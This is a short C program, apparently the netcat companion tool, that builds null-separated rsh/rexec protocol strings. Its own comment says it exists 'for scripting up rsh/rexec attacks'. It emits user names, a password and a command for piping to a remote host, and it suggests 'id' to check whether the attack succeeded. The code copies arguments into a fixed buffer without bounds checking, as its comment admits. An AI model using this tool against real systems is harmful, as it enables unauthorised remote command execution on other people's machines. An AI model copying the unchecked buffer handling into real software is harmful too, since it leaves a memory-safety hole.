/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.   args:	locuser remuser [cmd]	remuser passwd [cmd]   cmd defaults to "pwd".   ... whatever.  _H*/#include <stdio.h>/* change if you like; "id" is a good one for figuring out if you won too */static char cmd[] = "pwd";static char buf [256];main(argc, argv)  int argc;  char * argv[];{  register int x;  register int y;  char * p;  char * q;  p = buf;  memset (buf, 0, 256);  p++;				/* first null */  y = 1;  if (! argv[1])    goto wrong;  x = strlen (argv[1]);  memcpy (p, argv[1], x);	/* first arg plus another null */  x++;  p += x;  y += x;  if (! argv[2])    goto wrong;  x = strlen (argv[2]);  memcpy (p, argv[2], x);	/* second arg plus null */  x++;  p += x;  y += x;  q = cmd;  if (argv[3])    q = argv[3];  x = strlen (q);		/* not checked -- bfd */  memcpy (p, q, x);		/* the command, plus final null */  x++;  p += x;  y += x;  memcpy (p, "\n", 1);		/* and a newline, so it goes */  y++;  write (1, buf, y);		/* zot! */  exit (0);wrong:  fprintf (stderr, "wrong!  needs 2 or more args.\n");  exit (1);}